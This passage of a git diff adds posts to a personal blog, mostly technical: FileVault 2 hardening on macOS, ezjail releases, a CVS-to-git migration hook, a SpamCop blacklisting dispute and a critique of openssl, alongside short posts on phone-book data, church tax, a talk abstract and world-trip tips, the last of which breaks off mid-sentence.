kontrollierten und nicht so leicht durch Software zu emulierenden Umgebungen: direkt beim Booten und nach dem Aufwachen. Die Macher von FileVault 2 unter OSX haben diese Trennung im Standardfall nicht so vorgesehen – das Festplattenpaßwort wird einmal generiert und mit dem (Haupt-)Benutzerpaßwort verschlüsselt. Im Normalfall muß man nur beim Booten dieses Paßwort eingeben und ist danach direkt eingeloggt. Apple hat aber in FileVault 2 eingebaut, bestimmten Benutzern das Entschlüsseln der Platte zu erlauben, anderen nicht. Dies machen wir uns zunutze, indem wir einen extra-Benutzer anlegen, der einzig für WDE zuständig ist und allen anderen Benutzern das Entschlüsseln versagen. + +Am Einfachsten ist dies, wenn die WDE noch nicht angeschaltet ist. Man legt sich einen neuen Benutzer "WDE" oder "crypto" an (dieser braucht keine Admin-Rechte), loggt sich unter diesem Benutzerkonto ein und aktiviert in den Systemeinstellungen => "Sicherheit und Privatsphäre" => FileVault die FileVault-Verschlüsselung für die Systemplatte (hier braucht man kurz Benutzername und Paßwort des Admin-Benutzers). Dabei achtet man darauf, daß einzig der WDE-Benutzer in der Zugriffsliste für FileVault aktiv ist. Den Recovery-Key sollte man sich notieren und nicht mit auf Reisen nehmen. Dabei versteht sich von selbst, daß man den Service von Apple nicht wahrnehmen möchte, diesen Key bei ihnen zu verwahren. Man kann sich jetzt auch gleich wieder ausloggen, die Festplatte wird im Hintergrund komplett weiterverschlüsselt. Wenn es nur einen Benutzer gibt, der entschlüsseln darf, wird man beim Booten genauso nach dessen Paßwort gefragt und auch gleich unter diesem Benutzerkonto eingeloggt. (Hinweis für die Paßwortwahl: Hat man eine deutsche Tastaturbelegung, ist diese zumindest unter 10.7 im WDE-Login-Bildschirm noch nicht aktiviert. Zuweilen muß man seine Umlaute erst suchen.) Nun kann man sich gleich wieder ausloggen, um sich danach mit seinem Standardbenutzer anzumelden. + +War FileVault 2 bereits aktiviert und dem Standardnutzer das Entschlüsseln erlaubt, kann man diesem auch nachträglich die Rechte zum Entschlüsseln entziehen. Dazu legt man wie oben einen neuen WDE-Benutzer an, gibt diesem im FileVault-Dialog die Entschlüsselungsrechte und verpaßt dem Standardbenutzer ein leeres Passwort. Das geht im Systemeinstellungs-Dialog für Benutzerkonten nicht, dazu muß man das Terminal bemühen. Dem Kommando "passwd" gibt man sein altes Paßwort mit und drückt danach zweimal Return. _(UPDATE: in OSX 10.8 erlaubt passwd nicht mehr, ein leeres Passwort einzustellen. Nun braucht man das Kommando `sudo dscl . -passwd /users/USERNAME ""`.)_ Da nun FileVault für diesen Standardbenutzer kein Paßwort zum Verschlüsseln des Festplattenpaßworts mehr hat, werden ihm die Rechte zum Entschlüsseln der Platte entzogen. Dies kann man im FileVault-Dialog der Systemeinstellungen überprüfen, ein kleines gelbes Dreieck sollte nun warnen, daß nicht alle Benutzer die Platte entschlüsseln dürfen. Wenn man dies überprüft hat, kann man sein altes Standardbenutzer-Paßwort wieder setzen. Dieser Benutzer ist nun ent-FileVault-et, man sollte dies mit eventuellen anderen Benutzerkonten wiederholen. + +Dem aufmerksamen Beobachter wird aufgefallen sein, daß nach dem Zu- und wieder Aufklappen keine Eingabe des WDE-Benutzer-paßworts notwendig ist. Dies bedeutet, daß der Festplattenschlüssel noch ungesichert im Speicher liegen muß. Ist der Computer mit Thunderbolt ausgestattet, oder hat einen FireWire-Port in einem ungesicherten Modus (ab 10.6 ist der FireWire-Bus beim Schlafen standardmäßig aus), kann der Schlüssel (beispielsweise bei einer Kontrolle am Flughafen) über den direkt am RAM anliegenden Thunderbold/FW-Bus ausgelesen werden. Somit ist die Verschlüsselung angreifbar. Um dem Computer beizubringen, beim Zuklappen den beim Booten eingegebenen Festplattenschlüssel aus dem Speicher zu löschen, bedarf es nur dieses Kommandos: `sudo pmset -a destroyfvkeyonstandby 1 hibernatemode 25` + +Nun dauert das Aufklappen bei meinem MacBook Air statt 5 rund 25 Sekunden. Ich habe aber ein deutlich besseres Gefühl dabei, mein ausgeschaltetes Gerät jemand anderem in die Hand zu geben. diff --git a/blog/2012/ezjail-3.2.2.rst b/blog/2012/ezjail-3.2.2.rst new file mode 100644 index 0000000..3bd0e4c --- /dev/null +++ b/blog/2012/ezjail-3.2.2.rst @@ -0,0 +1,5 @@ +.. title: ezjail 3.2.2 is out +.. date: 2012/09/19 18:00 +.. tags: ezjail + +ezjail 3.2.2 is out. This release contains minor fixes in zfs code. diff --git a/blog/2012/ezjail-3.2.3.rst b/blog/2012/ezjail-3.2.3.rst new file mode 100644 index 0000000..1b8777b --- /dev/null +++ b/blog/2012/ezjail-3.2.3.rst @@ -0,0 +1,5 @@ +.. title: ezjail 3.2.3 is out +.. date: 2012/09/23 18:00 +.. tags: ezjail + +ezjail 3.2.3 is out. The 3.2.2 introduced an inconvenient bug that prevented ezjail-admin update to find ``/usr/src``. diff --git a/blog/2013/ezjail-3.3.rst b/blog/2013/ezjail-3.3.rst new file mode 100644 index 0000000..7044459 --- /dev/null +++ b/blog/2013/ezjail-3.3.rst @@ -0,0 +1,5 @@ +.. title: ezjail 3.3 is out +.. date: 2013/04/20 18:00 +.. tags: ezjail + +ezjail 3.3 is out. Besides several bug fixes, it allows to install ezjails in alternative zpool, copes with auto-configure interface syntax for IP addresses better and properly supports the new distribution server layout. Refer to the `Version history <#version-history>`_ for details. On a side note, the project home page was brushed and polished. diff --git a/blog/2013/ezjail-3.4.rst b/blog/2013/ezjail-3.4.rst new file mode 100644 index 0000000..4c65cb6 --- /dev/null +++ b/blog/2013/ezjail-3.4.rst @@ -0,0 +1,5 @@ +.. title: ezjail 3.4 is out +.. date: 2013/09/27 18:00 +.. tags: ezjail + +Due to changes in how the FreeBSD port system handles the install target, certain ports fail to install with the error "pkg_create: make_dist: tar command failed with code 256" in Jails installed with the current version of ezjail. ezjail from version 3.4 fixes this. Until then you should execute the command ``mkdir -p /var/ports/packages`` as a workaround in all jails you want to install ports in. diff --git a/blog/2013/repositions.md b/blog/2013/repositions.md new file mode 100644 index 0000000..9abc992 --- /dev/null +++ b/blog/2013/repositions.md @@ -0,0 +1,67 @@ + + +As a developer nowadays using a source code management system is non-optional. I’ve been a happy user of cvs for quite a while now, as it is complex enough for all my use cases and simple enough to allow fixing things with a text editor without breaking other people’s checkouts. I’ve had little reason to change this, as cvs was available everywhere and with ezjail – one of my more important projects – it was even essential providing means to checkout its latest development state on a vanilla FreeBSD installation, where cvs was the only scm system provided. + +However, time moves on. The FreeBSD project chose to remove cvs from base system in its next major release [1][] and OSX Developer Tools ship without cvs from OSX 10.8 onward. So it was time for me to move on, as well. The choice to migrate FreeBSD development to subversion [2][] seemed not such a bad idea back in 2008, but for me svn has always been a world of pain. It adds complexity without providing any benefit and removed the option for simple repository manipulation when things went awry. In 2013 the only sane option – despite a creeping headache considering the license – is git. Its increased complexity pays off by having integrity checks, a well established user base, an almost fanatical devotion to the pope and in the end I can use it as I used cvs. + +I set up gitolite [3][] with a UMASK of 0022 [4][] (to save me trouble later with tools like cgit and gitdaemon) and created empty repositories for each project to migrate. After playing around with several tools, I found cvs2git [5][] the best option, allowing me to import the cvs repositories onsite with this tiny script: + + git clone git@example.org:${project} + mkdir -p dumps/ + cvs2git --blobfile=dumps/${project}-git-blob.dat --dumpfile=dumps/${project}-git-dump.dat --username=cvs2git --fallback-encoding=utf8 ${CVSROOT}/${project} + # Use a text editor the fix committer’s emails, etc here in the dumps/${project}-git-dump.dat file + cd ${project} + cat ../dumps/${project}-git-blob.dat ../dumps/${project}-git-dump.dat | git fast-import + git checkout master + git gc --prune=now + git push origin master + cd .. + +This scripts needs to be run as a user who can read CVSROOT and has commit rights to the gitolite repositories. + +Being the polite hacker that I am, I wanted to avoid breaking other people's checkouts with my migration. I also need to provide backward compatibility to users of FreeBSD installations that still come with cvs only. This means that the pserver URIs need to remain intact. However, the tool I hoped would solve this problem – git-cvsserver [6][] – comes with some surprising mapping of cvs modules into git branches. Which basically renders it unusable as a legacy support mechanism. This left me with little choice but keeping the old cvs repositories as write-only copies. I wrote a git commit hook that commits every change [7][] to cvs using a dummy checkout in `/home/cvs/${project}`, after granting the git user commit rights to cvs. This works well, the only drawback is that it makes all commits appear to come from git in the cvs view. But I think this is an acceptable price. + +In order to provide an additional update commit hook and not break gitolite’s builtin hook, I needed to add a so-called VREF [8][] to the repo config, which looks like this in my conf/gitolite.conf: + + repo ezjail opentracker minimunin jaildaemon + RW+ = id_dsa + R = @all + - VREF/cvspush = @all + +My git repos reside in `/usr/local/git/`, so I put my commit hook script to `/usr/local/git/.gitolite/local/VREF/cvspush` and fixed my `/usr/local/git/.gitolite.rc` to have an entry: + + LOCAL_CODE => "$ENV{HOME}/.gitolite/local", + +The hook itself is here (don’t forget to set +x permissions. Also if you checkout your cvs repositories somewhere other than /home/cvs, you need to change this, as well): + + #!/bin/sh + # + + # ignore changes not for master branch + [ "$1" = "refs/heads/master" ][] || exit 0 + + # see if we have a legacy CVS repository to commit to + [ -d "/home/cvs/${GL_REPO}/CVS/" ][] || exit 0 + export GIT_DIR="${GL_REPO_BASE}/${GL_REPO}.git" + cd "/home/cvs/${GL_REPO}/" || exit 0 + + # get all the commits leading up to that push + for commit in `git rev-list "$2".."$3"`; do + git cvsexportcommit -k -u -c -v ${commit} + done + +And finally all my project description pages were updated to reflect the new way to checkout the source code, as was the web interface [9]. All thats left now is to provide read only svn access to the projects, for all FreeBSD users running 10. + +[1]: http://lists.freebsd.org/pipermail/freebsd-arch/2012-September/012975.html +[2]: https://wiki.freebsd.org/CvsIsDeprecated +[3]: http://gitolite.com/gitolite/qi.html +[4]: https://wiki.archlinux.org/index.php/Cgit#Gitolite +[5]: http://cvs2svn.tigris.org/cvs2git.html +[6]: https://www.kernel.org/pub/software/scm/git/docs/git-cvsserver.html +[7]: https://www.kernel.org/pub/software/scm/git/docs/git-cvsexportcommit.html +[8]: http://gitolite.com/gitolite/gitolite.html#vref-vref +[9]: https://erdgeist.org/gitweb + diff --git a/blog/2014/Self-righteous_spam_police.md b/blog/2014/Self-righteous_spam_police.md new file mode 100644 index 0000000..6efb17b --- /dev/null +++ b/blog/2014/Self-righteous_spam_police.md @@ -0,0 +1,61 @@ + + +For over 15 years I’ve been – together with friends – running elektropost.org, a community mail server that provides free email accounts and mailing lists for friends, family, several NGOs and small companies – so they don’t have to turn to google mail or worse. We pride ourself in being good netizens, providing spam filtering, discarding our double bounces and so on. + +Imagine our surprise when we suddenly were served bounces like + +> Remote host said: 554 5.7.1 Service unavailable; Client host [217.115.13.199] blocked using bl.spamcop.net; +> Blocked - see http://www.spamcop.net/bl.shtml?217.115.13.199 + +basically denouncing us as spammers. When investigating the issue, we were informed that + +> Causes of listing: +> System has sent mail to SpamCop spam traps in the past week (spam traps are secret, no reports or evidence +> are provided by SpamCop). + +our system has sent an email to a secret mail address guaranteed to only receive spam emails. Any protest is futile, the website told us, + +> Dispute Listing: +> If you are the administrator of this system and you are sure this listing is erroneous, you may request that we +> review the listing. Because everyone wants to dispute their listing, regardless of merit, we reserve the right +> to ignore meritless disputes. + +basically saying: All the bad guys say that they are not the bad guys, so … sure, go on, drop us an note, whining about how bad the world is and we ignore it. Because you are a spammer. And we know because we said so. + +At this point I would have just ignored them, after all the internet told me that they even put gmail on their RBL. But it turned out that several larger sites actually use the lists provided by spamcop and the amount of bounces started to hurt our community mail server. + +I dug a little deeper and found that the spamcop project actually makes money selling it’s block list to other mailers in need of immediate updateso for US$ 1000: and, worse they even sell email accounts for US$30 per year which clearly indicates a conflict of interests. “Unfortunate mis-listing” of other free mail servers now appears as defamation of potential competition. So they better have their facts straight! But – have they? How to find that out, if they never want to present their proof of me being a spammer? + +After failing to provide my email address as abuse-contact for our mail server at abuse.net – due to our mail server being on the black list (oh, the irony), I focussed on writing the most brown-nosing post on their feedback system. I explained, that we kept our system tidy for over a decade and would appreciate some assistance in resolving their claim. After a while I received an email, again explaining, that + +> This IP is listed because it is sending spam to our traps. Traps are addresses on our systems that have never +> existed and could never subscribe to be on any mailing list. Any mail to them is spam. We will not provide any +> information that identifies our traps or their locations. + +but also providing a sample of the spam they received. And indeed + +```text + Received: from elektropost.org ([217.115.13.199]) helo=elektropost.org + by ; Tue, 21 Jan 2014 17:xx:xx -0800 + Date: Wed, 22 Jan 2014 08:xx:xx +0700 + Message-ID: <2172___________________3767@gasz.nl> + From: Online Casino + To: + Subject: Ihr Ziel: Profit +``` + +this very much looks like spam, originating from our mail server. I also found some traces of that email in my rather sparse mail server logs and was flabbergasted for a moment, how this could have been relayed through the server without anyone authenticating. Fortunately I found a corresponding incoming spam mail to one of our users accounts, I found a mail forward set for this user to the address that obviously now serves as one of spamcops spam traps and from then on it all became clear. That user has set up a dedicated vacation account and forwarded all emails from that account to a satellite mail provider. The user also wrote several blog posts, pointing potential co-travelers to this address. The provider shut down the account a while ago and now decided that since nearly every email to this account looks spam-ish, it would make a perfect spam trap. + +Now, even our overeager friends at spamcop have noticed that re-using a once legitimate address is a stupid idea, from : + +> Traps must consist of email addresses which have never been used for legitimate email. They should not +> be "recycled" user accounts. + +However, they never seem to verify, if their contributors actually follow those guidelines. In our case, a simple google search would have warned them. + +I just wrapped up all this in an email to the hard-working “deputies” they employ over there at spamcop HQ and hope for a quick de-listing, and maybe – just maybe – for an apology. + +In the end all left to conclude is: Do no put the burden of fighting spam on others. My users actually experienced bounced emails, I experienced two days of debugging and fixing other peoples amateurish setup, our project’s reputation was damaged. Spamcop, your secret spam traps are a stupid idea and they hurt the community, in our case possibly driving users away from a privacy-aware project to other freemailer providers that are large enough to have resources to deal with problems like you. diff --git a/blog/2014/Using_libressl.md b/blog/2014/Using_libressl.md new file mode 100644 index 0000000..d0bb138 --- /dev/null +++ b/blog/2014/Using_libressl.md @@ -0,0 +1,30 @@ + + +I’ve been committing some code to the ressl project. I’ve found it worth to spend some time on that project that aims to make securing your communication more secure. But still people have some misconceptions about whether they can trust the new library and should make their code depend on libressl. + +I have prepared a simple FAQ for them: + +* Q: Should I base new code on the libressl API? +* A: No. + +The reason is as simple as it gets. libressl was designed as a drop-in-replacement for openssl to protect the only asset openssl still has: an API that (even though it’s broken as hell) still is used widely. While they’re doing this, they try to do everything right that can be done right in a 201*-ish project. + +Thing is, openssl is not actually there to provide you with secure software, but to implement the “nobody ever has been fired for using openssl”-aspect of your average “crypto”-library. It’s – well it’s there and it has some FIPS certification. But let’s face it: the code is terrible, the “maintainers” haven’t done any maintenance besides reselling their FIPS-asset, the API is terrible, the cipher-defaults are terrible, the interfaces into certificate checking are next to unusable, the core functionally works hard to cloak their badness from any modern bug detection heuristics, covering most of their bugs, and openssl’s maintainers ignore bug reports, because fixing them would break their certification, hurting their business of selling FIPS-consultancy. + +Now, the OpenBSD guys were facing a tough challenge: write just another SSL library with a sane API that no one is going to use, or clean up the library that is de-facto standard and hard to rip out of each and every tool that tries to connect to the interwebs securely. + +Most users of the openssl library come there, because they stumbled across transport security as an afterthought. Maybe because it’s been another tick on their compliance chart, or because they’ve seen the passwords flowing through their wireshark window – throw some crypto on it, they thought. What they need to realize is, that they actually need three separate libraries in the first place – which openssl conveniently layer-violates into one (and even adds dangerous cruft like kerberos): + +a secure and sanely configured certificate exchange-, parser- and checker- library, +a library of sane (and BY DEFAULT SECURE) crypto primitives that can apply ciphers on a data stream, +a set of standard conforming heuristics that will (re-)negotiate cipher suites based on 1) and the availability of ciphers from 2) +openssl fails in every single aspect of this. 99,999 percent of users nowadays do use openssl to secure their socket-based communication on servers or clients talking with each other via TCP. The whole BIO abstraction provided by openssl is wasted on them. The stack-like approach to look at “chains” of certificates falls short on modern setups with several expired and unexpired certs of the same CA in a single key store. You still can – as a MITM – trick most openssl setups into using null ciphers or weak algorithms. Checking CRLs still is a black art done right by no one. openssl still implements each and every memory allocation level bug ever displayed on “software security 101” in your favorite university. + +Now I will – judging by the current progress – give ressl a year until they matured enough to acknowledge them having picked all low hanging fruit. Then OpenBSD can proudly (and rightfully) announce that software linked agains libressl on their (and other) platforms is much more secure than before. And after looking into the source code I also understand that fixing it while also inventing a saner API exceeds the OpenBSD team’s capacities. So I urge you to consider what exactly you need secured and what tools provide you exactly what. + +If you’re up to implementing secure communication between your app and your server or between your appliances, first check if you really need all the TLS features – like the whole set of X.509 features that openssl gives you (and if so, check back which license of [the available TLS implementations](http://en.wikipedia.org/wiki/Comparison_of_TLS_implementations) could possible also suite your needs) – or if you can just go with a public domain library like [NaCl](http://en.wikipedia.org/wiki/NaCl_(software)) and put a little thought into what cryptographic primitives it gives you and where you need it. + +Until then rest assured that securing your application is not just a case of linking in another unreviewed lib. diff --git a/blog/2015/Little-big-data.rst b/blog/2015/Little-big-data.rst new file mode 100644 index 0000000..6532b34 --- /dev/null +++ b/blog/2015/Little-big-data.rst @@ -0,0 +1,10 @@ +.. date: 2015/06/03 15:15 +.. title: Little big data + +Ein Geheimdienst im 21. Jahrhundert, der was auf sich hält, muss Big Data machen: Möglichst alles über alle Bürger sammeln, horten, sortieren, filtern, rastern und ja niemandem was von den Ergebnissen mitteilen. Da hab ich mir gedacht: Das kann ich auch! Daher mache ich für meinen eigenen Kurznachrichtendienst eben in Little Big Data. + +Praktischerweise stellt die Deutsche Telekom im Halbjahrestakt eine digitale Offlinedatenbank bereit, die schonmal Adressen, Telefonnummern und Geokoordinaten der meisten Einwohner enthält - und das seit 1992. Einzige Nachlässigkeit: Die Informationen sind in binärer Form auf den Datenträgern abgelegt und die Gewissenhaftigkeit der Informanten im Post- und Telekomdienst lässt ausweislich offensichtlicher Fehler in den Datensätzen zu wünschen übrig. + +Von meiner Sammelleidenschaft habe ich ja bereits `ausgiebig berichtet `_. Vor sieben Jahren war ich der festen Meinung, ich hätte alle Telefonbuch-CDs zusammen und mein Code würde alle verfügbaren Daten aus den Binärwust der Datenspender extrahieren. Doch plötzliche Funde von verschollen geglaubten Ausgaben mit noch `exotischeren Formaten `_ und die bei näherem Nachschauen auftretenden syntaktischen und semantischen Probleme in den Daten haben einen zweiten Anlauf der Pflege nötig gemacht. + +Begleitet mich nun am Dienstag, dem 9. Juni 2015 ab achte im Chaos Computer Club Berlin beim `Datengarten 53 `_ in einem besinnlichen Diaabend bei Geschichten einer abenteuerlichen Jagd nach den Datensätzen, von nervenaufreibendem Starren auf Binärmuster, um den Geheimnissen der Encraption auf den Grund zu gehen und dem überwältigenden Gefühl, mal an Datenmengen zu schnuppern, die noch vor ein paar Jahren problemlos als “Big Data” durchgegangen wären. diff --git a/blog/2015/Steueranachronismus.rst b/blog/2015/Steueranachronismus.rst new file mode 100644 index 0000000..0c56b9a --- /dev/null +++ b/blog/2015/Steueranachronismus.rst @@ -0,0 +1,22 @@ +.. date: 2015/04/13 18:26:56 +.. title: Steueranachronismus + +Nachdem mir neulich schon das wundersame Relikt des `Kirchgelds `_ über den Wahrnehmungshorizont purzelte, mit dem sich die traurigen Reste des sich dem Laizismus wiedersetzenden Staatskirchentums ihre Pfründe auch von all denen zusammenschmarotzen, die auch nur das Leben mit einem Partner teilen, der `seinen Kirchenaustritt nicht mehr belegen kann `_ oder als EU-Bürger in Deutschland in `bürokratische Hamsterräder verwickelt wird `_. Nach der Wende wurde arbeitslos gemeldeten Freunden gar die Kirchensteuer standardmäßig einbehalten mit dem Verweis darauf, dass eine präzise Nachforschung im Einzelfall zu hohen Aufwand bedeuten würde. + +Heute nun weist mich die Sparkasse in einem Kundenschreiben auf Folgendes hin :: + + Diese Information ist für Sie nur dann von Bedeutung, wenn sie einer + Religionsgemeinschaft angehören, für die Kirchensteuer abgezogen wird. + Sofern dies der Fall ist, führen wir für Kirchenmitglieder ab 2015 die + Kirchensteuer auf Kapitalertragsteuer automatisch an das Finanzamt ab, + sofern die Kapitalerträge oberhalb eines uns erteilten Freistellungsauf- + trages liegen, spätestens also oberhalb des gesetzlichen Sparerpauschbe- + trages (Ledige: 801 EUR, Zusammenveranlagte: 1602 EUR). Zur Vereinfachung + fragen wir Ihre Religionszugehörigkeit jährlich beim Bundeszentralamt für + Steuern (BZSt) ab. + + Möchten Sie nicht, dass das BZSt uns Ihre Religionszugehörigkeit ver- + schlüsselt übermittelt, können Sie der Datenweitergabe bis zum 30.06. eines + Jahres widersprechen (www.formulare-bfinv.de,"Kirchensteuer"). + +Kann sich diese Sekte nicht einfach mal aus dem Leben Unbescholtener raushalten, solange diese sich nicht explizit bei denen melden? Ich zumindest will mit denen nichts zu tun haben und finde, in ihrer Geschichte haben sie genug Unheil angerichtet und könnten sich gefälligst in ihrer selbstpropagierten Demut üben. Danke. diff --git a/blog/2015/ergebnisse-massgeschneidert.rst b/blog/2015/ergebnisse-massgeschneidert.rst new file mode 100644 index 0000000..0f0d0be --- /dev/null +++ b/blog/2015/ergebnisse-massgeschneidert.rst @@ -0,0 +1,22 @@ +.. date: 2015/06/14 10:58 +.. title: Ergebnisse für Sie maßgeschneidert + +Im Rahmen des Symposiums `"Nähe auf Distanz" `_ des Fachbereichs Kultur an der Uni Hamburg werde ich am 14. Juni zur Wirkmacht politischer Bilder im Internet einen Vortrag mit dem Titel "Ergebnisse für Sie maßgeschneidert" halten. Abstract und Konklusio gibt es hier. + +Abstract +======== + +Die schiere Masse von Informationen, die inzwischen an allen Enden der Welt verteilt ist und für uns mit einem Klick auffindbar wäre, ist lediglich von unserem kulturellen Verständnisvermögen begrenzt. Um uns nur “relevante” Ergebnisse auf der Suche nach Nachrichten, Bildern, Videos und Webseiten auf den Rechner zu holen, benutzen wir vertraute Portale und Suchindexe, die ein Modell von genau unserem kulturellen Wohlfühlhorizont haben und deren Serviervorschläge unseren major consensus narrative nicht verletzen. Diese Filterdienste unterliegen jedoch eigenen marktwirtschaftlichen, politischen und juristischen Sachzwängen, die nicht immer im Sinne des Informationssuchenden sind. + +Für einen Zugang zu unvertrauten kulturellen Textquellen und zum Einordnen der Informationen benötigen wir einen kontextgebenden Vermittler – allein schon bei der Übersetzung. Klassisch übernahmen Korrespondenten institutionalisierter Nachrichtenformate diese Aufgabe und traten dabei auch mitsamt ihrer Reputation in den Vordergrund. + +Seit der ubiquitären weltweiten Durchdringung mit erschwinglichen Kameras ist das Bild als authentisches Medium ins Zentrum der Wahrnehmung anderer Regionen getreten. Längst haben sich Gruppen wie Anonymous und ISIS durch die gegenseitige Allverfügbarkeit von Informationen über unsere Bildersprache, Hollywoodfilmen und Nachrichtennetzwerken an unsere Medienkonsumgewohnheiten angepasst. Sie kennen und bedienen die narrativen Rituale, mit denen wir zu erreichen sind und benutzen das Modell, ihre Botschaften zu vermitteln. Die technischen Mittel stehen selbst Laien zur Verfügung. + +Das Korrektiv dieses Vermittlers – dessen Auswahl zuletzt ohnehin schon aus Bildungs-, Kaufkraft- und Technologieaffinitätsgründen nicht unbefangen geschah – tritt durch den Schritt hinter die Kamera zurück und wird durch die Neutralität suggerierende Kraft des Bilds zum potentiellen Manipulator. Doch selbst ohne bewusste Beeinflussung des Bildinhalts durch den Mittler repräsentiert in Zeiten automatischer Bildoptimierung, -selektion und -rekomposition keine digitale Fotografie mehr die Realität. Bilder erreichen uns direkter und erlauben, uns emotional zu vereinnahmen und deren Konsum wiederum beeinflusst unsere Wahrnehmung von der Welt und im Zirkelschluss das Modell, das unsere selbstgewählten Filter von uns haben. + +Konklusio +========= + +Die Transparenz erzeugende Kraft des Internets hat eine Krise der Institutionen verursacht, die auch die tradierten Rituale der Nachrichtenvermittlung erfasst hat. Doch ohne ein Reputationssystem bleibt die Kontextualisierung, Übersetzung und Plausibilitätsprüfung von Datenfetzen an jedem Einzelnen hängen. + +Bilder im Internet suggerieren dabei momentan noch notorisch Neutralität und Authentizität, treffen direkt emotionale Nerven und machen uns anfällig, auf Manipulationen hereinzufallen. Meine Hoffnung ist, dass sich nach einem Sortierungsprozess neue Arten von Reputationsdelegation herauskristallisieren. diff --git a/blog/2015/hello-world.rst b/blog/2015/hello-world.rst new file mode 100644 index 0000000..c533451 --- /dev/null +++ b/blog/2015/hello-world.rst @@ -0,0 +1,15 @@ +.. date: 2015/03/05 19:20 +.. title: Hello world + +Colorizing countries I have visited and can remember :) + +This is just to demonstrate my new static blog and web engine nikola + +.. chart:: Worldmap + :stroke: False + :style: RotateStyle('#de3804', step=12, background='#fff', plot_background='#fff', foreground='#eee' ) + :js: '' + + 'Trip', ['nz', 'au', 'ar', 'cz', 'th', 'cu', 'rw', 'ch', 'pl', 'ma', 'se', 'fi', 'is', 'ee', 'nl', 'it' ] + 'Transit', [ 'cn', 'ru', 'nc', 'br', 'si' ] + 'Urlaub', ['pt', 'pe', 'bo', 'us', 'ca', 'at', 'dk', 'om', 'eg', 'tu', 'gr', 'tr', 'jp', 'gb', 'fr', 'tn', 'hr', 'lt', 'lv', 'be', 'li' ] diff --git a/blog/2015/travel-tips.rst b/blog/2015/travel-tips.rst new file mode 100644 index 0000000..48bd5b8 --- /dev/null +++ b/blog/2015/travel-tips.rst @@ -0,0 +1,64 @@ +.. title: Weltreisetips +.. date: 2015/05/15 00:20 + +Neulich wurde ich von Freunden gefragt, ob ich ihnen ein paar Reisetips für eine Rucksack-Tour um die Welt geben kann. Eventuell findet ihn ja noch irgendjemand nützlich, wenn er seine Reisepläne auf Plausibilität checken möchte. + +Kohle +===== + +Auch wenn Ihr ein Jahr lang weg seid, gibt es Verpflichtungen zu hause, die ins Reisebudget schneiden. Es ist wichtig, sich das vorher auszurechnen, um am Ende nicht von überraschenden Geldlecks zur Rückkehr gezwungen zu werden: Miete, Versicherungen (Kranken-, Auto-, Haftpflicht, etc.), Telefonieverträge, Bausparkram. Gern verpeilt werden Betriebskostennachzahlungen, eventuelle Steuerüberraschungen, Kreditkarten- und Kontoführungsgebühren. Macht Euch einen präzisen Plan der unvermeidlichen Ausgaben, wenn Ihr zum Mietesparen Eure Wohnungen/Zimmer untervermietet, vorher checken, ob Untervermietung klargeht und dem Vermieter bescheidgeben. Rechnet das auch für den Ernstfall durch, dass der Untermieter rumspinnt, früher auszieht, etc. + +In unterschiedlichen Gegenden der Welt verbrennt man unterschiedlich schnell Kohle. Ich habe in Japan in einer Woche mehr auf den Kopf gehauen, als in Südamerika in zwei Monaten. Man _kann_ “on a shoe string” weltreisen, die einschlägigen Reiseführer sagen einem auch, mit wieviel Kohle man pro Tag Reise rechnen muss und das geht bei US$25 in Ländern wie Bolivien und Vietnam los, wenn man Dorms in den Hostels nimmt. Zum Vergleich: Für Deutschland werden so US$55 angesagt. Das sind so Richtwerte für Unterkunft, Mampf, Party, lokalen Transport und Sightseeing. Damit kann man schon mal grob die Kosten für’s Jahr abschätzen. Unter 10.000 Euro pro Jahr wegzukommen, ist unrealistisch. (Man kann aber unterwegs was dazuverdienen.) + +Dazu kommen natürlich Flüge, Fähren und Landtransporte. Geheimtip zum Kontinente wechseln sind Frachtschiffe, auf denen man günstige Überfahrten bekommt, die dauern aber zuweilen. Ansonsten sind Klassiker die round-the-world-Tickets, mit denen man zeitlich recht flexibel Regionen der Welt andüsen kann wie hier http://www.statravel.de/flug-around-the-world-beliebte-routen.htm oder das deutlich weniger zeitlich, dafür aber umso mehr örtlich flexible und zuweilen billigere Schnäppchensuchen bei skyscanner.com/opodo/expedia, um sich die einzelnen Routenteile zusammenzusuchen. Wenn ich dabei eins aus leidvoller Erfahrung empfehlen darf: Wenns irgendwie geht, reist westwärts, Euer Biorhythmus wirds Euch danken. Ich bin damals mit selber Klicken, um die um die Welt verteilten Freunde zu besuchen, mit 1800 Euro ostwärts rumgekommen. Ein wenig Reserve zu haben, um im Notfall einen Flug zur deutschen Botschaft zu organisieren, lässt entspannender reisen. Neben den großen Hops müsst ihr natürlich noch Rumreisen bis zum Weiterfliegen organisieren. In Südamerika ist z. B. Busfahren eine echt gut organisierte, sichere und saubere Option. Ich bin von Lima bis Sao Paolo auf dem Landweg. + +Dem Abfluss von Geld kann man mit Jobben entgegenwirken, was jedoch den Urlaubsspaß deutlich schmälert. Klassiker sind 2 Monate Kiwipflücken in Neuseeland (auf die Saison achten), in den Hostels an Bar, Putzfront oder Kasse auszuhelfen und deutschen oder englischen Sprachunterricht zu geben. Wenn Ihr nicht durch Zufall Kfz-Mechaniker seid oder sonst Fähigkeiten habt, die weltweit nützlich sind, solltet Ihr eher nicht damit rechnen, mehr als Hilfsarbeiten zu machen. Zudem gibts ordentlich Konkurrenz, auch aus Gegenden mit deutlich höherer Schmerztoleranz. Reiseführer zu konsultieren hilft ein bisschen. + +Für weltweit Kohle Ziehen holt Euch eine Kreditkarte bei der DKB. + +Route +===== + +Wie oben schon angedeutet, ist Umrunden ne recht schlaue Option, achtet drauf, möglichst ähnliche Regionen nicht direkt hintereinander abzugrasen. Wenn man Neuseelands Sounds gesehen hat, sind die Anden weniger spannend, Mexiko Stadt und Buenos Aires direkt hintereinander ermüdet auch. Am besten ist, Temporawechsel einzubauen, sowas wie Kambodscha => Seoul => Bali => Auckland. Wenn ihr schon wisst, welche Regionen Ihr spannend findet, bucht Euch feste Flüge, wenn Ihr mal reinschnuppern und bei Bedarf doch wieder weiterrocken wollt, die roundtheworld-Tickets. + +Hier lohnt ins Detail zu gehen erst nach dem Vorfühlen, was Euch so reizt. Visums- und Impfnachweispflicht bei Einreise checken. Auswärtiges Amt hilft. Pass muss ich sicher nicht extra erwähnen. + +Reiseführer +=========== + +Die gängigen Führer (Lonely Planet, Rough Guide, Let’s Go, Bädicker ;) sprechen ganz unterschiedliche Zielgruppen an. Lest Euch testweise einen für Eure Heimatstadt und einen durch, wo Ihr Euch auskennt, um ein Gefühl für Akkuratesse der Informationen, Lebensgefühl der Autoren und Kompatibilität mit Euren Vorstellungen von Spaß zu bekommen. Ich für meinen Teil benutze die “Geheimtips” im Lonely Planet als Warnliste für Reisen. + +Wenn man in eine neue Stadt fährt, ist es praktisch, einen Anlaufpunkt (also ein Hostel) im mittleren Preissegment für eine 